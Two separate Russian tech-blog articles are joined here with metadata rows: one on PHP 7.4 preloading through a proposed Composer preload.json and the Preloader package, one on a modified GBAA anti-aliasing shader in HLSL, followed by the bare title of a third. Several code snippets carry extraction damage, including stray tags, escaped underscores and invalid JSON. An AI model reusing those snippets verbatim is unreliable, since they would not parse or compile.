Что собой представляет функция предзагрузки, объяснено в [этой статье](https://stitcher.io/blog/preloading-in-php-74). Суть очень проста: в php.ini указывается PHP-скрипт, для которого при запуске процесса в память загружаются файлы (предзагрузка). В сочетании с OPCache и функцией [autoloader](https://medium.com/tech-tajawal/php-composer-the-autoloader-d676a2f103aa) Composer-файлы также могут быть однократно скомпилированы и залинкованы, после чего они будут доступны для всех последующих запросов. Благодаря этому PHP не нужно загружать и компилировать файлы при каждом запросе.
Однако разработчики Composer не пришли к согласию, как он должен помогать предзагрузке, помимо предоставления функции автозагрузки. Факты таковы:
* предзагрузка впервые анонсирована в PHP 7.4;
* не существует директивы Composer, помогающей выполнять предзагрузку файлов;
* для предзагрузки нужен доступ к php.ini, то есть к самому процессу;
* предзагрузка всех файлов не обязательно повысит производительность по сравнению с предзагрузкой только самых востребованных файлов.
Иными словами, предзагрузкой смогут пользоваться только те, у кого есть полный доступ к серверам. Это исключает серверы общего использования и некоторые PaaS-решения, которые не предполагают работу с php.ini.
Итак, как же Composer может помочь предзагрузке, учитывая, что это нововведение? Вот моё мнение.
Как должна работать предзагрузка
--------------------------------
Механизм работы предзагрузки должен опираться на список файлов, которые будут *загружены* и сохранены в памяти при запуске. А поскольку это список, нам нужно работать с массивом файлов и позволить Composer выполнять всю работу, а не *загружать* каждый файл вручную.
Composer должен брать список файлов, заданный приложением (корневым проектом), и компилировать всё в файлы, которые PHP сможет использовать безо всяких затруднений.
В то же время нам нужна возможность добавлять и удалять пакеты из механизма предзагрузки.
Предзагрузка никогда не должна работать на уровне пакетов, поскольку это ответственность разработчика — разрешать или запрещать предзагрузку каждого пакета.
Предзагрузка в Composer должна быть опциональной. Разработчик должен иметь возможность её отключать, чтобы PHP использовал собственный предзагрузчик, который может работать на основе анализа OPCache, — это зависит от загрузки приложения и работает гораздо эффективнее простой предзагрузки всех файлов.
### Всё начинается в preload.json
Чтобы не усложнять систему, поместим в корень проекта файл preload.json. В нём будут перечислены файлы для предзагрузки, которые сможет выбирать Composer. Поскольку это JSON-файл, разработчик может по своему усмотрению даже генерировать его с помощью специальной команды. Я считаю, что было бы отлично, если бы Composer имел утилиту для создания такого JSON-файла на основе скрипта.
```
{
"pre-compile": [
"my-script.php",
"my-other-script.php"
],
"extensions": [
"php"
],
"files": [
"app/*",
"config/",
"helpers.php",
"app/Models/*",
"app/Controllers/*/Http/*",
"app/Views/Compiled*.php"
],
"namespace": [
"App\\Models",
"App\\Controllers\\",
"App\\Views\\MainView",
"Vendor\\Package\\*",
],
"packages": {
"symfony/http-client": true,
"robert/*-client": true,
"vendor/package": {
"files": true,
"namespace": true
},
"foo/bar": {
"files": [
"helpers.php",
"loaders/*"
],
"namespace": [
"Foo\\Bar\\DynamicLoaders\\*",
"Foo\\Bar\\Clients"
]
}
},
"output": "preload-compiled.php"
}
```
Использование preload.json позволяет быстро проверять, включена ли в проекте предзагрузка: если файл отсутствует, то предзагрузка не поддерживается или нежелательна.
Давайте разберёмся, что делают ключи.
**pre-compile**
Эти файлы будут исполняться Composer. Каждый скрипт должен вернуть массив абсолютных путей к файлам, чтобы добавить их в список предзагрузки, который будет играть роль основного списка.
```
"pre-compile": [
"my-script.php",
"my-other-script.php"
]
```
Эти файлы будут исполнены в указанном порядке.
Цель в том, чтобы разработчик мог создавать список файлов по своему усмотрению, а не полагаться на один лишь JSON-файл. Эти файлы будут исполнены прежде всего. И да, вы сможете реализовать preload.json только с этим ключом. Поскольку мы говорим о PHP-файлах, при компилировании массива вы даже можете добавлять другие файлы.
**extensions**
Это список расширений файлов, которые нужно предварительно загрузить. По умолчанию берутся файлы только с расширением php.
```
"extensions": ["php", "php5", "php7"]
```
Например, вы можете добавить директорию, наполненную файлами \*.phtml, среди которых несколько полезных PHP-файлов, и Composer выберет только их, а не всё содержимое директории.
Как вы понимаете, этот процесс можно заменить добавлением файлов вручную.
**files**
Этот ключ говорит Composer, чтобы он загрузил все файлы из списка, пути к которым указаны относительно местонахождения composer.json.
```
"files": [
"helpers.php",
"app/Models/*",
"app/Controllers/*/Http/*",
"app/Views/Compiled*.php",
]
```
Разобраться в списке очень просто:
* для добавления файлов и директорий используйте относительные пути;
* из директорий будут добавляться только хранящиеся в них дочерние файлы (не рекурсивно);
* рекурсивные пути обозначаются окончанием в виде звёздочки (\*);
* с помощью этого символа вы также можете, к примеру, добавлять определённые файлы и директории: `src/Clients/*/Stores` или `src/Model*.php`.
Добавление файлов по маске без ручного выбора или создания привязанных к приложению скриптов особенно полезно при разработке больших приложений.
Если вам нужно просто предварительно загрузить все файлы с помощью [ключа autoload](https://getcomposer.org/doc/04-schema.md#autoload) в JSON-файле Composer, то присвойте ему значение `true`.
**namespace**
Этот ключ говорит Composer, чтобы тот загрузил файлы с заданным пространством имён или названием класса вроде `file` или `directory`. Этот же механизм позволяет динамически вызывать имена пространств из других установленных пакетов.
```
"namespaces": [
"App\\Models",
"App\\Controllers\\",
"App\\Views\\MainView",
"Vendor\\Package\\*",
]
```
Это тоже удобно при работе над большими приложениями, больше зависящими от пространств имён, а не от файлов, которые могут в любой момент измениться. Composer будет автоматически извлекать файлы в соответствии с пространством имён и помещать их в список.
**packages**
Этот ключ позволяет загружать другие файлы, зарегистрированные из внешних пакетов, например вспомогательные файлы или классы, привязанные к пространству имён.
```
"packages": {
"symfony/http-client": true,
"robert/*-client": true,
"vendor/package": {
"files": true,
"namespace": true
},
"foo/bar": {
"files": {
"helpers.php",
"loaders/*"
},
"namespace": [
"Foo\\Bar\\DynamicLoaders\\*",
"Foo\\Bar\\Clients"
]
}
}
```
Тут всё очень просто: если значение равно true, то будет загружено всё содержимое [ключа autoload](https://getcomposer.org/doc/04-schema.md#autoload) в файле composer.json этого пакета. В противном случае можно более тонко управлять добавлением в предзагрузку.
Если значение ключа равно true, то он загрузит все файлы, зарегистрированные в `autoload`. По умолчанию значение равно `false`. Это верно и для ключа `namespace`.
Также с помощью этого правила можно выбирать отдельные файлы или пространства имён. Но в таком случае ключ `autoload` использоваться не будет.
**output**
Это просто имя файла скомпилированного списка предзагрузки.
```
"output": "preload-compiled.php"
```
### Простота сборки
Наш список предзагрузки готов, и мы можем вызвать Composer, чтобы он собрал основной скрипт предзагрузки.
```
composer preload
```
В результате будет создан preload-compiled.php со всеми файлами, которые должен предварительно загрузить PHP. Конечно, вы можете изменить название файла по своему усмотрению.
Также нужно переопределить ключи `preload` параметрами.
```
composer preload \
--input=my-custom-preload-list.json \
--output=my-preload.php
```
### Отключено по умолчанию
Проекты без preload.json будут возвращать ошибку, если вы попытаетесь собрать файл для предзагрузки. Причина в том, что Composer не будет (да и не должен) гадать, что ему предварительно загружать.
Напомню, что preload не вмешивается в нормальную функциональность Composer. Поскольку это консольная команда, то при локальной разработке вы можете полностью отказаться от предварительной загрузки. Единственное, что нужно механизму предзагрузки от Composer, это файл Autoload, который должен быть сгенерирован в случае отсутствия. Ну ведь почти 2020-й год на дворе, везде используется PSR-4, верно?
### Результат
У вас должен получиться php-файл с примерно таких содержимым:
```
php
/**
* Preloading @generated by Composer
*/
// Autoload the classes so those can be preloaded using `require_once`.
require_once __DIR__.'/../autoload.php';
// File list
$files = [
'/var/www/app/Foo.php',
'/var/www/app/Bar.php',
'/var/www/helpers/basic.php',
'/var/www/helpers/advanced.php',
'/var/www/vendor/Foo/Bar/src/Class.php',
'/var/www/vendor/Foo/Bar/helpers/helpers.php',
'/var/www/vendor/Foo/Bar/config.php',
// ...
];
// Preload all root project files
foreach ($files as $file) {
require_once $file;
}</code
```
По сути, это лишь список файлов, которые будут предварительно загружаться с помощью функции autoloader в Composer. PHP исполнит этот файл однократно, и он станет историей.
---
Я искренне надеюсь, что в Composer появится какой-то способ предварительно загружать файлы без необходимости писать хак.
Поскольку описанный выше способ не является частью ядра Composer, вы всё ещё можете на основе анализа OPCache выбирать для предзагрузки самые важные файлы, не трогая менее востребованные. Представьте, что вместо предзагрузки 1500 файлов объёмом 100 Мб вы можете загрузить всего 150 файлов объёмом 10 Мб, сохранив 99% изначальной производительности.
Предзагружаем одной строкой проект на PHP 7.4
---------------------------------------------
Вскоре после того как я написал статью о том, как Composer может помочь вам в предзагрузке проекта, [Seldaek](https://github.com/Seldaek) (участник команды разработки Composer) [убил всякую надежду](https://github.com/composer/composer/issues/7777#issuecomment-559725760) на появление в Composer опции лёгкой предзагрузки проекта в PHP-процесс из менеджера пакетов.
> (…) Поясню: я уверен в том, что в ближайшем будущем мы не будем добавлять в Composer ничего, что относится к предзагрузке.
Почему? Предзагрузка в PHP является проблемой скорее разработки (а не зависимостей), она решается с помощью ручного редактирования php.ini — это могут делать только разработчики, если они сами управляют PHP.
Но это не помешает мне создать свой пакет для предзагрузки проекта. И вам тоже.
Предзагрузка и метрики
----------------------
Предзагрузка может стать хорошим инструментом для [простого и дешёвого](https://wiki.php.net/rfc/preload) повышения производительности без серьёзной переработки.
Но проблема не в том, *как* предзагружать, а *что*. Предзагрузка целых фреймворков и тысяч файлов быстро истощит память, так что делать это вслепую — не вариант, по крайней мере в больших проектах. Целесообразно загружать только самые востребованные файлы. Но как их определить?
К счастью, OPCache позволяет с помощью [opcache\_get\_status()](https://www.php.net/manual/en/function.opcache-get-status.php) собирать данные о том, к каким файлам происходит больше всего обращений. Можно не только узнать, какие файлы самые востребованные, но даже сколько памяти они потребляют спустя какое-то время после запуска приложения.
Рекомендуют подождать либо неделю, либо до того момента, когда OPCache зарегистрирует определённое количество обращений. Всё зависит от приложения, но суть вы поняли.
Так давайте создадим список предзагрузки на основе статистики наиболее популярных файлов. Я сделал для этого пакет.
Представляю… Preloader!
-----------------------
Этот пакет автоматически создаст список предзагрузки для вашего приложения. Он соберёт статистику использования OPCache, отсортирует файлы по количеству обращений и создаст список так, чтобы общий размер файлов не превышал заданный порог.
Я долго ломал голову в поисках наилучшей стратегии создания списка. И пришёл к выводу, что лучше всего добавлять в него все файлы, пока не упрёшься в предел памяти, который для пакетов по умолчанию равен 32 Мб. Файлы будут отсортированы по количеству обращений, а сам пакет автоматически будет исключен.
Иными словами, PHP повысит производительность приложения при обработке большинства запросов к нему.
И как это использовать? Укажите Composer Autoloader, куда записывать скрипт Preloader, и готово.
```
use DarkGhostHunter\Preloader\Preloader;
Preloader::make()
->autoload('vendor/autoload.php')
->output('preload.php')
->generate();
```
Конечно, вам выбирать, когда генерировать, но в этом вся соль. Вы даже можете делать это рандомно и перезаписывать список, например, на каждый 100-й запрос.
```
use DarkGhostHunter\Preloader\Preloader;
Preloader::make()
->whenOneIn(100)
->autoload('vendor/autoload.php')
->output('preload.php')
->overwrite()
->generate();
```
Вы получите готовый скрипт предзагрузки, которой можно класть в php.ini.
```
php
/**
* This file is generated automatically by Preloader.
*
* This script uses Composer Autoload file and `require_once` to preload the files in this
* list. Add this file to your `php.ini` in `opcache.preload` to preload this list into
* PHP at startup. Additionally, this file also includes information about Opcache.
*
*
* Add (or update) this line in `php.ini`:
*
* opcache.preload=/www/app/vendor/preload.php
*
* --- Config ---
* Generated at: 2019-11-20 15:20:49 UTC
* Opcache
* - Used Memory: 130585 B
* - Free Memory: 294896 B
* - Wasted Memory: 347764 B
* - Cached files: 2675
* - Hit rate: 94%
* - Misses: 542
* Preloader config
* - Memory limit: 32 MB
* - Overwrite: false
* - Files excluded: 0
* - Files appended: 0
*/
require_once '/www/app/vendor/autoload.php';
$files = [
'/www/app/ClassFoo.php',
'/www/app/ClassBar.php',
'/www/app/ClassBaz.php',
'/www/app/ClassQuz.php',
'/www/app/ClassQux.php',
'/www/app/vendor/author/package/src/Example.php',
// ...
];
foreach ($files as $file) {
require_once $file;
}
</code
```
И всё. Попробуйте сами: [darkghosthunter/preloader — Packagist](https://packagist.org/packages/darkghosthunter/preloader?source=post_page-----9ede756f292c----------------------). | https://habr.com/ru/post/480746/ | null | ru | null |
# Модифицированный алгоритм Geometry Buffer Anti-Aliasing
Алиасинг представляет одну из фундаментальных проблем компьютерной графики, и для борьбы с ним придумано множество разнообразных алгоритмов антиалиасинга. Появление [MLAA](https://habrahabr.ru/post/124913) привлекло интерес к алгоритмам, работающим на этапе постобработки. Одним из таких алгоритмов (с небольшой оговоркой) является *Geometry Buffer Anti-Aliasing* (GBAA). В этом материале описана попытка модификации оригинального алгоритма для улучшения качества антиалиасинга в некоторых случаях.
#### Geometric Post-process Anti-Aliasing (GPAA)
[GBAA](http://humus.name/index.php?page=3D&ID=87) является усовершенствованной версией алгоритма [Geometric Post-process Anti-Aliasing (GPAA)](http://humus.name/index.php?page=3D&ID=86). Лежащая в его основе идея заключается в том, что вместо поиска резких границ в исходном изображении для оценки расположения геометрических ребер (как это делает MLAA) можно использовать информацию о ребрах в «чистом виде», получив ее от рендерера. Алгоритм довольно прост:
1. Отрендерить сцену (основной проход);
2. Сделать копию бэкбуфера;
3. Отрендерить геометрические ребра в дополнительном проходе, смешивая цвета соседних пикселей для получения сглаженных ребер.
Смешивание цветов пикселей (блендинг) выполняется следующим образом:
1. Для каждого пикселя определяется направление (вертикальное или горизонтальное) и расстояние до ближайшего ребра;
2. С использованием направления и расстояния вычисляется покрытие пикселя соседним треугольником;
3. Направление используется для выбора соседнего пикселя, а покрытие — для расчета коэффициентов блендинга.
Эта картинка иллюстрирует логику работы алгоритма:
Жирной линией обозначено геометрическое ребро. Стрелки показывают выбор соседнего пикселя. Пунктирными линиями показаны смещения относительно центра пикселя, которые используются для вычисления коэффициентов блендинга. Блендинг делается единственной выборкой из текстуры: к текстурным координатам текущего пикселя добавляется смещение, а линейный фильтр выполняет остальную работу.
В вершинном шейдере координаты геометрического ребера проецируются на экранную плоскость и используются для получения уравнения прямой линии, на которой лежит ребро. Уравнение в виде четырехмерного вектора попадает в пиксельный шейдер, где вычисляется покрытие и цвет пикселя.
**Код шейдера (HLSL)**
```
struct VsIn
{
float3 Position0 : Position0;
float3 Position1 : Position1;
};
struct PsIn
{
float4 Position : SV_Position;
// The parameters are constant across the line so use the nointerpolation attribute.
// This is not necessarily required, but using this we can make the vertex shader slightly shorter.
nointerpolation float4 KMF : KMF;
};
float4x4 ViewProj;
float4 ScaleBias;
PsIn main(VsIn In)
{
PsIn Out;
float4 pos0 = mul(ViewProj, float4(In.Position0, 1.0));
float4 pos1 = mul(ViewProj, float4(In.Position1, 1.0));
Out.Position = pos0;
// Compute screen-space position and direction of line
float2 pos = (pos0.xy / pos0.w) * ScaleBias.xy + ScaleBias.zw;
float2 dir = (pos1.xy / pos1.w) * ScaleBias.xy + ScaleBias.zw - pos;
// Select between mostly horizontal or vertical
bool x_gt_y = abs(dir.x) > abs(dir.y);
// Pass down the screen-space line equation
if (x_gt_y)
{
float k = dir.y / dir.x;
Out.KMF.xy = float2(k, -1);
}
else
{
float k = dir.x / dir.y;
Out.KMF.xy = float2(-1, k);
}
Out.KMF.z = -dot(pos.xy, Out.KMF.xy);
Out.KMF.w = asfloat(x_gt_y);
return Out;
}
Texture2D BackBuffer;
SamplerState Filter;
float2 PixelSize;
float4 main(PsIn In) : SV_Target
{
// Compute the difference between geometric line and sample position
float diff = dot(In.KMF.xy, In.Position.xy) + In.KMF.z;
// Compute the coverage of the neighboring surface
float coverage = 0.5f - abs(diff);
float2 offset = 0;
if (coverage > 0)
{
// Select direction to sample a neighbor pixel
float off = diff >= 0 ? 1 : -1;
if (asuint(In.KMF.w))
offset.y = off;
else
offset.x = off;
}
// Blend pixel with neighbor pixel using texture filtering and shifting the coordinate appropriately.
return BackBuffer.Sample(Filter, (In.Position.xy + coverage * offset.xy) * PixelSize);
}
```
Главными преимуществами этого алгоритма являются качество и производительность. Качество антиалиасинга не зависит от угла наклона ребра, что представляет собой традиционную проблему для техник постобработки. На первой картинке продемонстрированы результаты работы FXAA с разными предустановками качества, на второй — результаты работы GPAA.
*FXAA 3, FXAA 5*
*GPAA*
Наиболее дорогой операцией является копирование экранного буфера: рендеринг одного кадра (в исходной реализации) на видеокарте HD 5870 в разрешении 1280x720 выполняется за 0.93 мс, из которых копирование экранного буфера занимает 0.08 мс, а собственно сглаживание ребер — 0.01 мс. Недостатком, очевидно, является необходимость предварительной обработки геометрии для извлечения ребер и дополнительной памяти для их хранения. Кроме того, GPU потребительского уровня выполняют растеризацию линий сравнительно медленно. Эти проблемы в совокупности негативно влияют на масштабируемость GPAA при растущей геометрической сложности сцены.
#### Geometry Buffer Anti-Aliasing (GBAA)
Итак, GBAA представляет собой усовершенствованную версию GPAA. Собственно усовершенствование заключается в том, что направления и расстояния до границ треугольников вычисляются в геометрическом шейдере, что устраняет необходимость предварительной обработки геометрии и растеризации линий, уменьшает объем используемой памяти и, что самое главное, устраняет зависимость производительности от геометрической сложности сцены.
Картинка ниже иллюстрирует определения расстояний до границ: для каждого ребра геометрический шейдер сначала вычисляет высоту *d*, а затем выровненное по осям расстояние *dx*. Результаты сохраняются в вершинных атрибутах, интерполируются растеризатором и используются для вычисления коэффициентов блендинга в пиксельном шейдере.
Дополнительным преимуществом перед GPAA является возможность выполнения антиалиасинга не только геометрических ребер, но и других границ, расстояние до которых можно оценить: например, границ в альфа-прозрачных текстурах:
Пиксельный шейдер использует результаты вычислений геометрического шейдера для поиска ребер, пересекающих пиксель. В случае, если минимальное смещение до ребра меньше половины пикселя, выбирается соседний пиксель, вычисляются коэффициенты блендинга и выполняется блендинг. В противном случае пиксель остается без изменений. Информация о смещениях силуэтных ребер доступна только у пикселей, оказавшихся на внутренней стороне силуэта, поэтому такие пиксели требуют дополнительной обработки:
* Выбираются смещения из 4 соседних пикселей;
* В зависимости от смещения выбирается один из 4 соседей (тот, смещение которого соответствует направлению в сторону текущего пикселя):
— левый: 0.5 <= offset.x <= 1.0
— правый: -1.0 <= offset.x <= -0.5
— верхний: 0.5 <= offset.y <= 1.0
— нижний: -1.0 <= offset.y <= -0.5
* Из выбранного смещения получается скорректированное смещение для текущего пикселя, после чего остается только посчитать коэффициенты и выполнить блендинг.
**Код шейдера (HLSL)**
```
struct PsIn
{
float4 Position : SV_Position;
float2 TexCoord : TexCoord;
};
[Vertex shader]
PsIn main(uint VertexID : SV_VertexID)
{
// Produce a fullscreen triangle
PsIn Out;
Out.Position.x = (VertexID == 0)? 3.0f : -1.0f;
Out.Position.y = (VertexID == 2)? 3.0f : -1.0f;
Out.Position.zw = 1.0f;
Out.TexCoord = Out.Position.xy * float2(0.5f, -0.5f) + 0.5f;
return Out;
}
[Fragment shader]
Texture2D BackBuffer;
Texture2D GeometryBuffer;
SamplerState Linear;
SamplerState Point;
float2 PixelSize;
float4 main(PsIn In) : SV\_Target
{
float2 offset = GeometryBuffer.Sample(Point, In.TexCoord);
// Check geometry buffer for an edge cutting through the pixel.
[flatten]
if (min(abs(offset.x), abs(offset.y)) >= 0.5f)
{
// If no edge was found we look in neighboring pixels' geometry information. This is necessary because
// relevant geometry information may only be available on one side of an edge, such as on silhouette edges,
// where a background pixel adjacent to the edge will have the background's geometry information, and not
// the foreground's geometric edge that we need to antialias against. Doing this step covers up gaps in the
// geometry information.
offset = 0.5f;
// We only need to check the component on neighbor samples that point towards us
float offset\_x0 = GeometryBuffer.Sample(Point, In.TexCoord, int2(-1, 0)).x;
float offset\_x1 = GeometryBuffer.Sample(Point, In.TexCoord, int2( 1, 0)).x;
float offset\_y0 = GeometryBuffer.Sample(Point, In.TexCoord, int2( 0, -1)).y;
float offset\_y1 = GeometryBuffer.Sample(Point, In.TexCoord, int2( 0, 1)).y;
// Check range of neighbor pixels' distance and use if edge cuts this pixel.
if (abs(offset\_x0 - 0.75f) < 0.25f) offset = float2(offset\_x0 - 1.0f, 0.5f); // Left x-offset [ 0.5 .. 1.0] cuts this pixel
if (abs(offset\_x1 + 0.75f) < 0.25f) offset = float2(offset\_x1 + 1.0f, 0.5f); // Right x-offset [-1.0 .. -0.5] cuts this pixel
if (abs(offset\_y0 - 0.75f) < 0.25f) offset = float2(0.5f, offset\_y0 - 1.0f); // Up y-offset [ 0.5 .. 1.0] cuts this pixel
if (abs(offset\_y1 + 0.75f) < 0.25f) offset = float2(0.5f, offset\_y1 + 1.0f); // Down y-offset [-1.0 .. -0.5] cuts this pixel
}
// Convert distance to texture coordinate shift
float2 off = (offset >= float2(0, 0))? float2(0.5f, 0.5f) : float2(-0.5f, -0.5f);
offset = off - offset;
// Blend pixel with neighbor pixel using texture filtering and shifting the coordinate appropriately.
return BackBuffer.Sample(Linear, In.TexCoord + offset \* PixelSize);
}
```
#### Модификация
У GBAA имеется неприятная особенность, выражающаяся в артефактах возле сходящихся ребер:
Тонкие субпиксельные треугольники являются источником проблем для всех алгоритмов постфильтрации, работающих с изображением в экранном разрешении, и, к сожалению, GBAA не является исключением. Я попытался разобраться в механизме возникновения этих артефактов и модифицировать оригинальный алгоритм с целью улучшения качества антиалиасинга в проблемных случаях. Рассмотрим первый случай:
Здесь точка выборки текущего пикселя в центре попадает внутрь тонкого треугольника, а точки выборки левого и правого пикселей – в большие треугольники, смежные с тонким. Если правое ребро тонкого треугольника оказывается ближе к центру среднего пикселя, как показано на картинке, то GBAA определит покрытие правого треугольника средним пикселем исходя из смещения правого ребра относительно его центра, а затем выдаст линейно интерполированный цвет между средним и правым пикселем. Однако средний пиксель покрывает фрагменты сразу трех треугольников, и если цвет хотя бы одного пикселя отличается от остальных, результирующий цвет будет определен неверно. Пусть *a*, *b*, *c* – исходные цвета трех пикселей, а *α*, *β*, *γ* – отношение площадей покрытых средним пикселем фрагментов треугольников к площади пикселя. Скорректированный цвет среднего пикселя в таком случае может быть определен по формуле
*bout = αa + βb + γc*,
в то время как оригинальный алгоритм вычислит его по формуле
*bout = (α + β)b + γc*
Если, например, левый пиксель окажется белым, а средний и правый – черными, то в описанной ситуации оригинальный алгоритм всегда будет выдавать черный цвет для среднего пикселя, оставляя фрагмент исходного изображения без изменений.
Второй случай возникает, когда тонкий треугольник располагается между центрами двух пикселей:
Здесь, в отличие от первого случая, часть необходимой для расчета корректного цвета информации потеряна: нет точки выборки, которая попала бы внутрь тонкого треугольника. Чтобы понять, как такой случай может повлиять на конечное изображение, рассмотрим более крупный фрагмент:
Поскольку при смещении вправо более темные треугольники смещаются вверх, занимая все меньшую площадь, яркость пикселей в верхнем ряду должна возрастать. Так и происходит, пока очередь не доходит до последнего столбца. Случай, который возникает при его обработке, был рассмотрен ранее. Здесь же главным источником проблемы являются первые два столбца: верхние пиксели должны получить свой исходный цвет, но вместо этого оригинальный алгоритм смешивает их с цветами нижних пикселей. Слева показан фрагмент границы треугольника, полученный с использованием неправильных коэффициентов блендинга, справа — корректный результат:
Поведение оригинального алгоритма в этом случае можно улучшить, сохраняя исходные цвета пикселей, между которыми расположен тонкий треугольник.
Для обработки этих двух случаев можно внести несколько изменений в оригинальный алгоритм.
1. Корректное вычисление цвета пикселя в случае первом случае требует наличия информации о втором смещении, в то время как оригинальный алгоритм хранит лишь одно. Для этого потребуется дополнительное место в геометрическом буфере. Если существует второе смещение по той же оси, что первое, но противоположное ему, то это смещение необходимо также сохранить в геометрическом буфере. На этапе постобработки для определения случая тройного покрытия следует проверить, пересекается ли пиксель двумя ребрами с разных сторон, и если пересекается, вычислить скорректированный цвет.
2. Обработка второго случая оказывает минимальное влияние на структуру алгоритма, требуя внесения дополнительной проверки в этап постобработки. Пиксель должен получить свой исходный цвет, если в направлении соответствующего ему смещения расположен соседний пиксель, которому соответствует противоположное направление смещения в той же оси.
**Код шейдера (HLSL)**
```
struct PsIn
{
float4 Position : SV_Position;
float2 TexCoord : TexCoord;
};
[Vertex shader]
PsIn main(uint VertexID : SV_VertexID)
{
// Produce a fullscreen triangle
PsIn Out;
Out.Position.x = (VertexID == 0)? 3.0f : -1.0f;
Out.Position.y = (VertexID == 2)? 3.0f : -1.0f;
Out.Position.zw = 1.0f;
Out.TexCoord = Out.Position.xy * float2(0.5f, -0.5f) + 0.5f;
return Out;
}
[Fragment shader]
Texture2D BackBuffer;
Texture2D GeometryBuffer;
Texture2D InvGeometryBuffer;
SamplerState Linear;
SamplerState Point;
float2 PixelSize;
int Tweak;
int ShowEdges;
void check\_opposite\_neighbor(float2 tex\_coord, inout float2 offset)
{
// Select major offset
float2 off;
bool x\_major = abs(offset.x) < abs(offset.y);
if (x\_major)
off = float2(sign(offset.x), 0);
else
off = float2(0, sign(offset.y));
// Select neighbor's offset
float2 opp\_offset = GeometryBuffer.Sample(Point, tex\_coord + off\*PixelSize);
// Make sure it is valid
bool apply\_offset = true;
if (min(abs(opp\_offset.x), abs(opp\_offset.y)) < 0.5f)
{
// Make sure it points towards current sample
// if so - don't apply texture coordinate offset
if (x\_major)
{
if (sign(offset.x)!=sign(opp\_offset.x) && abs(opp\_offset.x) < 0.5f)
offset = 0.5f;
}
else
{
if (sign(offset.y)!=sign(opp\_offset.y) && abs(opp\_offset.y) < 0.5f)
offset = 0.5f;
}
}
}
float4 main(PsIn In) : SV\_Target
{
float2 offset = GeometryBuffer.Sample(Point, In.TexCoord);
bool edge\_found = false;
bool triple\_coverage = false;
float4 result;
// Check geometry buffer for an edge cutting through the pixel.
[flatten]
if (min(abs(offset.x), abs(offset.y)) >= 0.5f)
{
// If no edge was found we look in neighboring pixels' geometry information. This is necessary because
// relevant geometry information may only be available on one side of an edge, such as on silhouette edges,
// where a background pixel adjacent to the edge will have the background's geometry information, and not
// the foreground's geometric edge that we need to antialias against. Doing this step covers up gaps in the
// geometry information.
offset = 0.5f;
// We only need to check the component on neighbor samples that point towards us
float offset\_x0 = GeometryBuffer.Sample(Point, In.TexCoord, int2(-1, 0)).x;
float offset\_x1 = GeometryBuffer.Sample(Point, In.TexCoord, int2( 1, 0)).x;
float offset\_y0 = GeometryBuffer.Sample(Point, In.TexCoord, int2( 0, -1)).y;
float offset\_y1 = GeometryBuffer.Sample(Point, In.TexCoord, int2( 0, 1)).y;
// Check range of neighbor pixels' distance and use if edge cuts this pixel.
if (abs(offset\_x0 - 0.75f) < 0.25f)
{
edge\_found = true;
offset = float2(offset\_x0 - 1.0f, 0.5f); // Left x-offset [ 0.5 .. 1.0] cuts this pixel
}
if (abs(offset\_x1 + 0.75f) < 0.25f)
{
edge\_found = true;
offset = float2(offset\_x1 + 1.0f, 0.5f); // Right x-offset [-1.0 .. -0.5] cuts this pixel
}
if (abs(offset\_y0 - 0.75f) < 0.25f)
{
edge\_found = true;
offset = float2(0.5f, offset\_y0 - 1.0f); // Up y-offset [ 0.5 .. 1.0] cuts this pixel
}
if (abs(offset\_y1 + 0.75f) < 0.25f)
{
edge\_found = true;
offset = float2(0.5f, offset\_y1 + 1.0f); // Down y-offset [-1.0 .. -0.5] cuts this pixel
}
}
else
{
edge\_found = true;
if (Tweak)
{
float inv\_offset = InvGeometryBuffer.Sample(Point, In.TexCoord);
if (inv\_offset != 0.0f)
{
triple\_coverage = true;
// Sample two neighbors
float maj\_offset;
float2 off = 0;
if (abs(offset.x) < abs(offset.y))
{
off.x = -sign(inv\_offset);
maj\_offset = offset.x;
}
else
{
off.y = -sign(inv\_offset);
maj\_offset = offset.y;
}
float4 n1 = BackBuffer.Sample(Point, In.TexCoord + off\*PixelSize);
float4 n2 = BackBuffer.Sample(Point, In.TexCoord - off\*PixelSize);
// Calculate coverage for this sample (b) and two neighbors (a, c)
float alpha = 0.5f-abs(maj\_offset); // a (n1)
float gamma = 0.5f-abs(inv\_offset); // c (n2)
float beta = 1-alpha-gamma; // b (this)
// Blend final color
result = alpha\*n1 + beta\*BackBuffer.Sample(Point, In.TexCoord) + gamma\*n2;
}
else
check\_opposite\_neighbor(In.TexCoord, offset);
}
}
if (ShowEdges && edge\_found)
result = float4(1, 0, 0, 1);
else if (!triple\_coverage)
{
// Convert distance to texture coordinate shift
float2 off = (offset >= float2(0, 0))? float2(0.5f, 0.5f) : float2(-0.5f, -0.5f);
offset = off - offset;
// Blend pixel with neighbor pixel using texture filtering and shifting the coordinate appropriately.
result = BackBuffer.Sample(Linear, In.TexCoord + offset \* PixelSize);
}
return result;
}
```
#### Тесты
Для сравнения качества антиалиасинга были подобраны фрагменты сцены, на которых оригинальный GBAA выдавал заметные артефакты. Затем для каждого фрагмента позиция камеры фиксировалась и сохранялось 4 скриншота: исходное изображение, исходное изображение с подсвеченными ребрами, результат работы GBAA и результат работы модифицированного GBAA.
Хотя качество фрагментов со сходящимися ребрами по-прежнему нельзя назвать идеальным, артефакты на них стали гораздо менее заметны. Сцены со сложными текстурами хорошо маскируют остаточные эффекты. Достигнутое улучшение качества получено ценой некоторого падения производительности. Если этап постобработки оригинального GBAA занимал 0.14 мс при разрешении 1920x1080, то модифицированный алгоритм требует 0.22 мс, что на 57% больше. Однако даже такой уровень производительности продолжает оставаться более чем удовлетворительным, оставляя позади MLAA и его модификации.
#### Заключение
Нужно отметить, что я не прилагал особых усилий для оптимизации бранчинга в пиксельном шейдере — это могло бы дать прибавку производительности. Новые архитектуры GPU, такие как GCN, [предоставляют возможность чтения вершинных атрибутов в пиксельном шейдере](https://michaldrobot.com/2014/05/12/low-level-optimizations-for-gcn-digital-dragons-2014-slides/), что позволяет реализовать алгоритм (как оригинальный, так и модифицированный) без использования геометрического шейдера, устранив связанные с ним накладные расходы.
Скомпилированные бинарники и исходники доступны на [GitHub](https://github.com/nitrocaster/gbaa-plus). | https://habr.com/ru/post/307366/ | null | ru | null |
# Обсуждение: проект OpenROAD намеревается решить задачу автоматизации проектирования процессоров
[](https://habr.com/ru/company/itglobalcom/blog/453200/)
*Фото — [Pexels](https://www.pexels.com/photo/empty-highway-overlooking-mountain-under-dark-skies-1955134/) — CC BY*
